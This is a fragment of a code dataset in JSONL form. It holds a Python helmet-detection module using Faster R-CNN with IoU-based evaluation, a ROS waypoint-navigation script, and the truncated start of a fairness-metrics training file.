"torch.nn.PReLU", "line_number": 192, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 192, "usage_type": "name"}, {"api_name": "models.modules.CARB", "line_number": 193, "usage_type": "call"}, {"api_name": "models.modules.CARB", "line_number": 194, "usage_type": "call"}, {"api_name": "models.modules.CARB", "line_number": 195, "usage_type": "call"}, {"api_name": "models.modules.CARB", "line_number": 196, "usage_type": "call"}, {"api_name": "models.modules.upsample_block", "line_number": 203, "usage_type": "call"}, {"api_name": "models.modules.upsample_block", "line_number": 204, "usage_type": "call"}, {"api_name": "models.modules.CAT", "line_number": 205, "usage_type": "call"}, {"api_name": "torch.nn.Conv2d", "line_number": 211, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 211, "usage_type": "name"}, {"api_name": "math.sqrt", "line_number": 213, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 240, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 240, "usage_type": "name"}, {"api_name": "models.modules.FRM", "line_number": 243, "usage_type": "call"}, {"api_name": "torch.nn.Conv2d", "line_number": 244, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 244, "usage_type": "name"}, {"api_name": "torch.nn.PReLU", "line_number": 245, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 245, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 246, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 246, "usage_type": "name"}, {"api_name": "torch.nn.PReLU", "line_number": 247, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 247, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 248, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 248, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 258, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 258, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 276, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 276, "usage_type": "name"}, {"api_name": "math.sqrt", "line_number": 278, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 302, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 302, "usage_type": "name"}, {"api_name": "torch.nn.Parameter", "line_number": 306, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 306, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 306, "usage_type": "call"}]} +{"seq_id": "12904594626", "text": "import argparse\nimport os\nimport numpy as np\nimport torch\nimport torch.utils.data\nfrom PIL import Image\nimport pandas as pd\nimport cv2\nimport json\n\nfrom torch.autograd import Variable\nfrom torch.utils.data import Dataset, DataLoader\nfrom torchvision.transforms import functional as F\nfrom torchvision.models.detection import fasterrcnn_resnet50_fpn\nfrom torchvision.models.detection.faster_rcnn import FastRCNNPredictor\n\n# from utils import utils\n\n\nclass FramesDataset(Dataset):\n \"\"\"Creates a dataset that can be fed into DatasetLoader\n\n Args:\n frames (list): A list of cv2-compatible numpy arrays or\n a list of PIL Images\n \"\"\"\n def __init__(self, frames):\n # Convert to list of tensors \n \n x = [F.to_tensor(img) for img in frames] \n # Define which device to use, either gpu or cpu\n device = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')\n \n # Send the frames to device\n x_device = [img.to(device) for img in x]\n\n self.x = x_device #x\n\n def __getitem__(self, idx):\n return self.x[idx]\n\n def __len__(self):\n return len(self.x)\n\n\nclass ObjectDetector():\n \"\"\"ObjectDetector class with staticmethods that can be called from outside by importing as below:\n from helmet_detector.detector import ObjectDetector\n \n The staic methods can be accessed using ObjectDetector.()\n\n \"\"\"\n \n\n @staticmethod\n def load_custom_model(model_path=None, num_classes=None):\n \"\"\"Load a model from local file system with custom parameters\n\n Load FasterRCNN model using custom parameters\n\n Args:\n model_path (str): Path to model parameters\n num_classes (int): Number of classes in the custom model\n Returns:\n model: Loaded model in evaluation mode for inference\n \"\"\"\n # load an object detection model pre-trained on COCO\n model = fasterrcnn_resnet50_fpn(pretrained=True)\n \n # get the number of input features for the classifier\n in_features = model.roi_heads.box_predictor.cls_score.in_features\n \n # replace the pre-trained head with a new one\n model.roi_heads.box_predictor = FastRCNNPredictor(in_features,num_classes)\n \n # load previously fine-tuned parameters\n # Define which device to use, either gpu or cpu\n device = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')\n if torch.cuda.is_available():\n model.load_state_dict(torch.load(model_path))\n model.to(device)\n else:\n model.load_state_dict(torch.load(model_path, map_location=device))\n # Put the model in evaluation mode\n model.eval()\n\n return model\n \n\n @staticmethod\n def run_detection(img, loaded_model):\n \"\"\" Run inference on single image\n\n Args:\n img: image in 'numpy.ndarray' format\n loaded_model: trained model\n Returns:\n Default predictions from trained model\n \"\"\"\n\n # need to make sure we have 3d tensors of shape [C, H, W]\n with torch.no_grad():\n prediction = loaded_model(img)\n\n return prediction\n\n\n @staticmethod\n def to_dataframe_highconf(predictions, conf_thres, frame_id):\n \"\"\" Converts the default predictions into a Pandas DataFrame, only predictions with score greater than conf_thres\n\n Args:\n predictions (list): Default FasterRCNN implementation output.\n This is a list of dicts with keys ['boxes','labels','scores']\n frame_id : frame id\n conf_thres: score greater than this will be kept as detections\n Returns:\n A Pandas DataFrame with columns\n ['frame_id','class_id','score','x1','y1','x2','y2']\n \"\"\"\n df_list = []\n for i, p in enumerate(predictions):\n boxes = p['boxes'].detach().cpu().tolist()\n labels = p['labels'].detach().cpu().tolist()\n scores = p['scores'].detach().cpu().tolist()\n df = pd.DataFrame(boxes, columns=['x1','y1','x2','y2'])\n df['class_id'] = labels\n df['score'] = scores\n df['frame_id'] = frame_id\n df_list.append(df)\n df_detect = pd.concat(df_list, axis=0)\n df_detect = df_detect[['frame_id','class_id','score','x1','y1','x2','y2']]\n \n # Keep predictions with high confidence, with score greater than conf_thres\n df_detect = df_detect.loc[df_detect['score'] >= conf_thres]\n return df_detect\n\n\n @staticmethod\n def to_dataframe(predictions):\n \"\"\" Converts the default predictions into a Pandas DataFrame\n\n Args:\n predictions (list): Default FasterRCNN implementation output.\n This is a list of dicts with keys ['boxes','labels','scores']\n Returns:\n A Pandas DataFrame with columns\n ['frame_id','class_id','score','x1','y1','x2','y2']\n \"\"\"\n df_list = []\n for i, p in enumerate(predictions):\n boxes = p['boxes'].detach().cpu().tolist()\n labels = p['labels'].detach().cpu().tolist()\n scores = p['scores'].detach().cpu().tolist()\n df = pd.DataFrame(boxes, columns=['x1','y1','x2','y2'])\n df['class_id'] = labels\n df['score'] = scores\n df['frame_id'] = i\n df_list.append(df)\n df_detect = pd.concat(df_list, axis=0)\n df_detect = df_detect[['frame_id','class_id','score','x1','y1','x2','y2']]\n return df_detect\n\n @staticmethod\n def calc_iou(boxA, boxB):\n # https://www.pyimagesearch.com/2016/11/07/intersection-over-union-iou-for-object-detection/\n # determine the (x, y)-coordinates of the intersection rectangle\n xA = max(boxA[0], boxB[0])\n yA = max(boxA[1], boxB[1])\n xB = min(boxA[2], boxB[2])\n yB = min(boxA[3], boxB[3])\n # compute the area of intersection rectangle\n interArea = max(0, xB - xA) * max(0, yB - yA)\n # compute the area of both the prediction and ground-truth\n # rectangles\n boxAArea = (boxA[2] - boxA[0]) * (boxA[3] - boxA[1])\n boxBArea = (boxB[2] - boxB[0]) * (boxB[3] - boxB[1])\n # compute the intersection over union by taking the intersection\n # area and dividing it by the sum of prediction + ground-truth\n # areas - the interesection area\n iou = interArea / float(boxAArea + boxBArea - interArea)\n # return the intersection over union value\n return iou\n\n\n @staticmethod\n def evaluate_detections_iou(gt, det, iou_threshold):\n \"\"\"Evaluate and obtain FN and FP records between detection and annotations\n\n Args:\n df_detect (pandas.DataFrame): Detected boxes in a Pandas Dataframe\n with columns ['frame_id','class_id','score','x1','y1','x2','y2']\n df_annot (pandas.DataFrame): Known/annotation boxes in a Pandas\n Dataframe with columns ['frame_id','class_id','x1','y1','x2','y2']\n\n Returns:\n result (pandas.DataFrame): Count of total number of objects in gt and det, and tp, fn, fp\n with columns ['num_object_gt', 'num_object_det', 'tp', 'fn', 'fp']\n df_fn (pandas.DataFrame): False negative records in a Pandas Dataframe\n with columns ['frame_id','class_id','x1','y1','x2','y2']\n df_fp (pandas.DataFrame): False positive records in a Pandas Dataframe\n with columns ['frame_id','class_id', 'score', 'x1','y1','x2','y2']\n \"\"\"\n \n if (gt is not None) and (det is not None):\n matched = []\n \n for g in range(gt.shape[0]):\n count = 0\n for d in range(det.shape[0]):\n iou = ObjectDetector.calc_iou(np.array(gt.iloc[g,2:]), np.array(det.iloc[d,3:]))\n \n if (iou > iou_threshold):\n if (count == 0):\n max_conf = det.iloc[d,2]\n temp = [g,d,iou, det.iloc[d,2]] \n count +=1\n elif (count > 0):\n print(\"Multiple detections found, keep only with highest confidence\") \n if (max_conf < det.iloc[d,2]):\n max_conf = det.iloc[d,2]\n temp = [g,d,iou, det.iloc[d,2]]\n count +=1\n \n if (count != 0):\n matched.append(temp)\n \n df_tp = pd.DataFrame(matched, columns = ['gt_index', 'det_index', 'iou', 'det_conf'])\n \n # To qualitatively find detection error, output fn and fp boxes. just visualize them on the frame\n # Get unmatched gt - these are FNs\n df_fn = []\n num_fn = 0\n for i in range(gt.shape[0]):\n \n if i not in df_tp['gt_index'].tolist():\n df_fn.append(gt.iloc[i,:])\n num_fn +=1\n if num_fn > 0:\n df_fn = pd.DataFrame(data=df_fn)\n df_fn.columns = ['frame_id','class_id','x1','y1','x2','y2']\n else:\n df_fn = None\n \n # Get unmatched det - these are FPs\n df_fp = []\n num_fp = 0\n for i in range(det.shape[0]):\n if i not in df_tp['det_index'].tolist():\n df_fp.append(det.iloc[i,:])\n num_fp +=1\n\n if num_fp > 0:\n df_fp = pd.DataFrame(data=df_fp)\n df_fp.columns = ['frame_id','class_id', 'score', 'x1','y1','x2','y2']\n else:\n# print(\"num_fp = 0 in frame_id {}\".format(gt.iloc[0,0]))\n df_fp = None\n\n # To quantify detection error, output number of helmets in gt, number of helmets in det, tp, fn, fp\n frame_id = gt.iloc[0,0]\n tp = len(df_tp['gt_index'].unique())\n result = []\n result.append([frame_id,\n gt.shape[0], \n det.shape[0],\n tp,\n num_fn, \n num_fp])\n result = pd.DataFrame(data=result, columns = ['frame_id', 'num_object_gt', 'num_object_det', 'tp', 'fn', 'fp'])\n \n \n else:\n result = None\n df_fn = None\n df_fp = None\n\n\n return result, df_fn, df_fp\n\n\n @staticmethod\n def find_frames_high_fn_fp(eval_det, fn_thres, fp_thres):\n \"\"\" Find frames with high fn and fp, fn >= fn_thres and fp >= fp_thres\n Arg:\n eval_det: Detection evaluation matrix for whole play\n fn_thres: Get a list of frames where fn is greater than equal to this value\n fp_thres: Get a list of frames where fn is greater than equal to this value\n Return: \n frame_list: List of frames with high fn and fp\n \n \"\"\"\n frame_list = eval_det[(eval_det['fn'] >= fn_thres) & (eval_det['fp'] >= fp_thres)]['frame_id'].tolist()\n return frame_list\n \n\n @staticmethod\n def run_detection_video(video_in, model_path, full_video=True, subset_video=60, conf_thres=0.9):\n \"\"\" Run detection on video\n\n Args:\n video_in: Input video path\n model_path: Location of the pretrained model.pt \n full_video: Bool to indicate whether to run the whole video, default = False\n subset_video: Number of frames to run detection on\n conf_thres = Only consider detections with score higher than conf_thres, default = 0.9\n Returns:\n Predicted detection for all the frames in a video\n df_predictions (pandas.DataFrame): prediction of detected object for all frames \n with columns ['frame_id', 'class_id', 'score', 'x1', 'y1', 'x2', 'y2']\n \n \"\"\"\n # Capture the input video\n vid = cv2.VideoCapture(video_in)\n\n # Get video title\n vid_title = os.path.splitext(os.path.basename(video_in))[0]\n\n # Get total number of frames\n num_frames = vid.get(cv2.CAP_PROP_FRAME_COUNT)\n \n # load model \n num_classes = 2\n model = ObjectDetector.load_custom_model(model_path=model_path, num_classes=num_classes)\n \n # if running for the whole video, then change the size of subset_video with total number of frames \n if full_video:\n subset_video = int(num_frames) \n \n df_predictions = [] # predictions for whole video\n \n for i in range(subset_video): #383\n\n ret, frame = vid.read()\n print(\"Processing frame#: {} running detection for videos\".format(i))\n \n # Get detection for this frame\n list_frame = [frame]\n dataset_frame = FramesDataset(list_frame)\n prediction = ObjectDetector.run_detection(dataset_frame, model)\n df_prediction = ObjectDetector.to_dataframe_highconf(prediction, conf_thres, i)\n df_predictions.append(df_prediction)\n \n # Concatenate predictions for all frames of the video\n df_predictions = pd.concat(df_predictions)\n\n return df_predictions\n \n\n @staticmethod\n def run_detection_frames(frames, model_path, batch_size=4, conf_thres=0.9, start_frame=0, end_frame=-1):\n \"\"\" Run detection on list of frames\n\n Args:\n frames: List of frames between start_frame and end_frame of a full play video\n model_path: Location of the pretrained model.pt \n batch_size (int): Size of inference minibatch --> not sure we need this\n conf_thres: Only consider detections with score higher than conf_thres, default = 0.9\n start_frame: First frame number to output. Default is 0.\n end_frame: Last frame number to output. If less than 1 then take all frames\n Returns:\n Predicted detection for all the frames between start_frame and end_frame of a full play video\n df_predictions (pandas.DataFrame): prediction of detected object for all frames \n with columns ['frame_id', 'class_id', 'score', 'x1', 'y1', 'x2', 'y2']\n \n Todo:\n Figure out how reduce confusion around start_frame/end_frame var collision with utils.frames_from_video()\n \"\"\"\n if end_frame>=1:\n assert start_frame<=end_frame\n if end_frame < 0:\n end_frame = start_frame + len(frames) -1\n # load model \n num_classes = 2\n model = ObjectDetector.load_custom_model(model_path=model_path, num_classes=num_classes)\n\n df_predictions = [] # predictions for all frames\n count = 0\n for i in range(start_frame, end_frame): \n # Get detection for this frame\n dataset_frame = FramesDataset([frames[count]])\n prediction = ObjectDetector.run_detection(dataset_frame, model)\n df_prediction = ObjectDetector.to_dataframe_highconf(prediction, conf_thres, i)\n df_predictions.append(df_prediction)\n count+=1\n \n# dataset = FramesDataset(frames)\n# batcher = DataLoader(dataset, batch_size=batch_size, shuffle=False)\n# for batch in batcher:\n# prediction = ObjectDetector.run_detection(batch, model)\n# df_prediction = ObjectDetector.to_dataframe_highconf(prediction, conf_thres, batch)\n# df_predictions.append(df_prediction)\n \n # Concatenate predictions for all frames of the video\n df_predictions = pd.concat(df_predictions)\n\n return df_predictions\n \n @staticmethod\n def get_gt_frame(frame_id, cur_boxes):\n \"\"\"Get ground truth annotations on the frames\n\n Args:\n frame_id: Frame id \n cur_boxes: Current annotation boxes \"left\", \"width\", \"top\", \"height\"\n Returns:\n box_ret: ground truth boxes in a Pandas\n Dataframe with columns ['frame_id','class_id','x1','y1','x2','y2']\n\n \"\"\"\n\n box_out = []\n for box in cur_boxes:\n box_out.append([frame_id, 1, box[0],box[2],box[0]+box[1], box[2]+box[3]])\n\n # Return gt dataframe\n box_ret = pd.DataFrame(data = box_out, columns = ['frame_id','class_id','x1','y1','x2','y2'])\n return box_ret\n \n \n @staticmethod\n def run_detection_eval_video(video_in, gtfile_name, model_path, full_video=True, subset_video=60, conf_thres=0.9, iou_threshold = 0.5):\n \"\"\" Run detection on video\n\n Args:\n video_in: Input video path\n gtfile_name: Ground Truth annotation json file name\n model_path: Location of the pretrained model.pt \n full_video: Bool to indicate whether to run the whole video, default = False\n subset_video: Number of frames to run detection on\n conf_thres = Only consider detections with score higher than conf_thres, default = 0.9\n iou_threshold = Match detection with ground trurh if iou is higher than iou_threshold, default = 0.5\n Returns:\n Predicted detection for all the frames in a video, evaluation for detection, a dataframe with bounding boxes for \n false negatives and false positives\n df_predictions (pandas.DataFrame): prediction of detected object for all frames \n with columns ['frame_id', 'class_id', 'score', 'x1', 'y1', 'x2', 'y2']\n eval_results (pandas.DataFrame): Count of total number of objects in gt and det, and tp, fn, fp for all frames\n with columns ['frame_id', 'num_object_gt', 'num_object_det', 'tp', 'fn', 'fp']\n fns (pandas.DataFrame): False negative records in a Pandas Dataframe for all frames\n with columns ['frame_id','class_id','x1','y1','x2','y2'], return empty dataframe if no false negatives \n fps (pandas.DataFrame): False positive records in a Pandas Dataframe for all frames\n with columns ['frame_id','class_id', 'score', 'x1','y1','x2','y2'], return empty dataframe if no false positives \n \n \"\"\"\n # Capture the input video\n vid = cv2.VideoCapture(video_in)\n\n # Get video title\n vid_title = os.path.splitext(os.path.basename(video_in))[0]\n\n # Get total number of frames\n num_frames = vid.get(cv2.CAP_PROP_FRAME_COUNT)\n print(\"********** Num of frames\", num_frames)\n \n # load model \n num_classes = 2\n model = ObjectDetector.load_custom_model(model_path=model_path, num_classes=num_classes)\n print(\"Pretrained model loaded\")\n\n # Get GT annotations\n gt_labels = pd.read_csv('/home/ec2-user/SageMaker/0Artifact/helmet_detection/input/train_labels.csv')#.fillna(0)\n video = os.path.basename(video_in)\n print(\"Processing video: \",video)\n labels = gt_labels[gt_labels['video']==video]\n\n \n # if running for the whole video, then change the size of subset_video with total number of frames \n if full_video:\n subset_video = int(num_frames) \n \n \n# frames = []\n df_predictions = [] # predictions for whole video\n eval_results = [] # detection evaluations for the whole video \n fns = [] # false negative detections for the whole video \n fps = [] # false positive detections for the whole video \n \n for i in range(subset_video): \n\n ret, frame = vid.read()\n print(\"Processing frame#: {} running detection and evaluation for videos\".format(i+1))\n \n # Get detection for this frame\n list_frame = [frame]\n dataset_frame = FramesDataset(list_frame)\n prediction = ObjectDetector.run_detection(dataset_frame, model)\n df_prediction = ObjectDetector.to_dataframe_highconf(prediction, conf_thres, i)\n df_predictions.append(df_prediction)\n\n # Get label for this frame\n cur_label = labels[labels['frame']==i+1] # get this frame's record\n cur_boxes = cur_label[['left','width','top','height']].values\n gt = ObjectDetector.get_gt_frame(i+1, cur_boxes)\n \n \n # Evaluate detection for this frame\n eval_result, fn, fp = ObjectDetector.evaluate_detections_iou(gt, df_prediction, iou_threshold)\n eval_results.append(eval_result)\n if fn is not None:\n fns.append(fn)\n if fp is not None:\n fps.append(fp)\n \n # Concatenate predictions, evaluation resutls, fns and fps for all frames of the video\n df_predictions = pd.concat(df_predictions)\n eval_results = pd.concat(eval_results)\n # Concatenate fns if not empty, otherwise create an empty dataframe\n if not fns:\n fns = pd.DataFrame()\n else:\n fns = pd.concat(fns)\n # Concatenate fps if not empty, otherwise create an empty dataframe\n if not fps:\n fps = pd.DataFrame()\n else:\n fps = pd.concat(fps)\n\n return df_predictions, eval_results, fns, fps \n \n @staticmethod\n def draw_detect_error(video_in, gtfile_name, full_video, subset_video, frame_list, fns, fps):\n \"\"\" Draw original frames those are difficult to detect, gt annotated frames, frames with fns, and frames with fps\n Arg:\n video_in: Input video path\n gtfile_name: Ground Truth annotation json file name\n full_video: Bool to indicate whether to run the whole video, default = False\n subset_video: Number of frames to run detection on\n frame_list = List of frames with high fn and fp\n fns: False negative records in a Pandas Dataframe\n fps: False positive records in a Pandas Dataframe\n Return: \n True once finished writing frames\n \n \"\"\"\n\n # Capture the input video\n vid = cv2.VideoCapture(video_in)\n \n # Get total number of frames\n num_frames = vid.get(cv2.CAP_PROP_FRAME_COUNT)\n \n # Get GT annotations\n gt_labels = pd.read_csv('/home/ec2-user/SageMaker/0Artifact/helmet_detection/input/train_labels.csv')#.fillna(0)\n video = os.path.basename(video_in)\n print(\"Processing video: \",video)\n labels = gt_labels[gt_labels['video']==video]\n # if running for the whole video, then change the size of subset_video with total number of frames \n if full_video:\n subset_video = int(num_frames) \n for i in range(subset_video): \n ret, frame = vid.read()\n frame_id = i+1\n if frame_id in frame_list: \n print(\"Frame#: {} has high fn and fp\".format(frame_id))\n ## Save each frame into a directory as .jpg - difficult to detect frames only\n# cv2.imwrite(f\"/home/ec2-user/SageMaker/0Artifact/helmet_detection/output/out_images/{i:06}.jpg\", frame)\n\n # Get label for this frame \n cur_label = labels[labels['frame']==frame_id] # get this frame's record\n cur_boxes = cur_label[['left','width','top','height']].values\n gt = ObjectDetector.get_gt_frame(i, cur_boxes)\n gt = gt.values.tolist()\n for frameid, class_id, x1, y1, x2, y2 in gt:\n cv2.rectangle(frame\n , (x1, y1)\n , (x2, y2)\n , (255,255,0)#cyan\n , 2) \n ## Save gt annotated frames into a directory as .jpg \n cv2.imwrite(f\"/home/ec2-user/SageMaker/0Artifact/helmet_detection/output/out_images/{frame_id:06}_gt.jpg\", frame)\n\n ##### Draw fns #####\n # Get fn boxes\n fns_list = fns[fns['frame_id'] == frame_id]\n fns_list = fns_list.values.tolist()\n \n # Draw fns annotations on the frames\n for frameid, class_id, x1, y1, x2, y2 in fns_list:\n cv2.rectangle(frame\n , (x1, y1)\n , (x2, y2)\n , (0,0,255)\n , 2) \n ## Save fns frames into a directory as .jpg \n# cv2.imwrite(f\"/home/ec2-user/SageMaker/0Artifact/helmet_detection/output/out_images/{i:06}_fns.jpg\", frame)\n \n ##### Draw fps #####\n # Get fn boxes\n fps_list = fps[fps['frame_id'] == frame_id]\n fps_list = fps_list.values.tolist()\n\n for frameid, class_id, score, x1, y1, x2, y2 in fps_list:\n cv2.rectangle(frame, \n (int(x1), int(y1)), \n (int(x2), int(y2)), \n (255,0,0), \n 2) \n ## Save fps frames into a directory as .jpg \n# cv2.imwrite(f\"/home/ec2-user/SageMaker/0Artifact/helmet_detection/output/out_images/{i:06}_fps.jpg\", frame)\n cv2.imwrite(f\"/home/ec2-user/SageMaker/0Artifact/helmet_detection/output/out_images/{frame_id:06}_gt_fns_fps.jpg\", frame)\n \n return True", "repo_name": "jayeetaghosh/helmet_detection", "sub_path": "src/helmet_detection_model/detector.py", "file_name": "detector.py", "file_ext": "py", "file_size_in_byte": 25841, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "torch.utils.data.Dataset", "line_number": 20, "usage_type": "name"}, {"api_name": "torchvision.transforms.functional.to_tensor", "line_number": 30, "usage_type": "call"}, {"api_name": "torchvision.transforms.functional", "line_number": 30, "usage_type": "name"}, {"api_name": "torch.cuda.is_available", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 32, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 32, "usage_type": "call"}, {"api_name": "torchvision.models.detection.fasterrcnn_resnet50_fpn", "line_number": 68, "usage_type": "call"}, {"api_name": "torchvision.models.detection.faster_rcnn.FastRCNNPredictor", "line_number": 74, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 78, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 79, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 80, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 83, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 102, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 126, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 131, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 155, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 160, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 211, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 228, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 240, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 254, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 270, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 314, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 317, "usage_type": "call"}, {"api_name": "os.path", "line_number": 317, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 317, "usage_type": "call"}, {"api_name": "cv2.CAP_PROP_FRAME_COUNT", "line_number": 320, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 345, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 395, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 417, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 447, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 450, "usage_type": "call"}, {"api_name": "os.path", "line_number": 450, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 450, "usage_type": "call"}, {"api_name": "cv2.CAP_PROP_FRAME_COUNT", "line_number": 453, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 462, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 463, "usage_type": "call"}, {"api_name": "os.path", "line_number": 463, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 506, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 507, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 510, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 512, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 515, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 517, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 538, "usage_type": "call"}, {"api_name": "cv2.CAP_PROP_FRAME_COUNT", "line_number": 541, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 544, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 545, "usage_type": "call"}, {"api_name": "os.path", "line_number": 545, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 565, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 571, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 580, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 594, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 601, "usage_type": "call"}]} +{"seq_id": "21141627479", "text": "#!/usr/bin/env python\nimport rospy\nimport math\nimport json\nfrom std_msgs.msg import String\nimport roslib\nroslib.load_manifest('amrl_msgs')\nfrom amrl_msgs.msg import Localization2DMsg\nimport argparse\nimport time\nimport numpy as np\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument('--loop', action='store_true')\nparser.add_argument('--map', type=str, required=True)\nparser.add_argument('--waypoints', type=str, required=True, help='json file containing an array of waypoints')\n\nargs = parser.parse_args()\n\nwith open(args.waypoints) as f:\n waypoints = json.load(f)\n\nclass WaypointNavigator():\n WAYPOINT_THRESHOLD = 0.75\n def __init__(self, map, waypoints):\n self.map = map\n self.waypoints = waypoints\n self.current_waypoint = 0\n rospy.Subscriber(\"localization\", Localization2DMsg, self.loc_callback)\n self.nav_pub = rospy.Publisher(\"/move_base_simple/goal_amrl\", Localization2DMsg, queue_size=1)\n self.goal_msg = Localization2DMsg()\n self.goal_msg.map = map\n\n def get_target_waypoint(self):\n if (self.current_waypoint >= len(self.waypoints)):\n if (args.loop):\n print(\"Circuit Complete, restarting...\")\n self.current_waypoint = 0\n else:\n print(\"Completed waypoint navigation, exiting...\")\n exit(0)\n\n return self.waypoints[self.current_waypoint]\n\n def loc_callback(self, loc):\n target_waypoint = self.get_target_waypoint()\n\n if WaypointNavigator.is_close(target_waypoint, loc.pose):\n self.current_waypoint += 1\n self.send_nav_command()\n\n def send_nav_command(self):\n target_waypoint = self.get_target_waypoint()\n print(\"Navigating to ({}, {})...\".format(target_waypoint[\"x\"], target_waypoint[\"y\"]))\n\n self.goal_msg.pose.x = target_waypoint[\"x\"]\n self.goal_msg.pose.y = target_waypoint[\"y\"]\n self.goal_msg.pose.theta = target_waypoint[\"theta\"]\n\n self.nav_pub.publish(self.goal_msg) \n\n @classmethod\n def is_close(cls, target, pose):\n target_theta = target[\"theta\"]\n diff = np.linalg.norm(np.array([pose.x, pose.y]) - np.array([target[\"x\"], target[\"y\"]]))\n return diff < cls.WAYPOINT_THRESHOLD\n\n\ndef setup_ros_node():\n rospy.init_node('waypoint_navigation')\n \n waypoint_nav = WaypointNavigator(args.map, waypoints)\n time.sleep(1)\n waypoint_nav.send_nav_command()\n rospy.spin()\n\n\nsetup_ros_node()\n\n\n\n", "repo_name": "maligir/spot_me_a_leash", "sub_path": "spot_autonomy/graph_navigation/scripts/waypoint_navigation.py", "file_name": "waypoint_navigation.py", "file_ext": "py", "file_size_in_byte": 2322, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "roslib.load_manifest", "line_number": 7, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 13, "usage_type": "call"}, {"api_name": "json.load", "line_number": 22, "usage_type": "call"}, {"api_name": "rospy.Subscriber", "line_number": 30, "usage_type": "call"}, {"api_name": "amrl_msgs.msg.Localization2DMsg", "line_number": 30, "usage_type": "argument"}, {"api_name": "rospy.Publisher", "line_number": 31, "usage_type": "call"}, {"api_name": "amrl_msgs.msg.Localization2DMsg", "line_number": 31, "usage_type": "argument"}, {"api_name": "amrl_msgs.msg.Localization2DMsg", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 66, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 66, "usage_type": "call"}, {"api_name": "rospy.init_node", "line_number": 71, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 74, "usage_type": "call"}, {"api_name": "rospy.spin", "line_number": 76, "usage_type": "call"}]} +{"seq_id": "50692867176", "text": "import time\nimport tensorflow as tf\nimport numpy as np\nfrom sklearn.metrics import roc_auc_score\nfrom .preprocessing import preprocess_data\nimport scipy\nfrom .fairness_metrics import calculate_predictive_rates_multigroup, calculate_fairness_metrics_multigroup, calculate_confusion_matrix_multigroup, convert_keys_to_int\nfrom app.main.models import ModelResults, FairnessMetrics\nfrom app import db\nimport uuid\n\ndef logistic_regression_demographic_parity(df, target_variable, sensitive_attribute, learning_rate, lambda_fairness, num_epochs, batch_size):\n\n X_train, y_train, A_train, X_test, y_test, A_test = preprocess_data(df, target_variable, 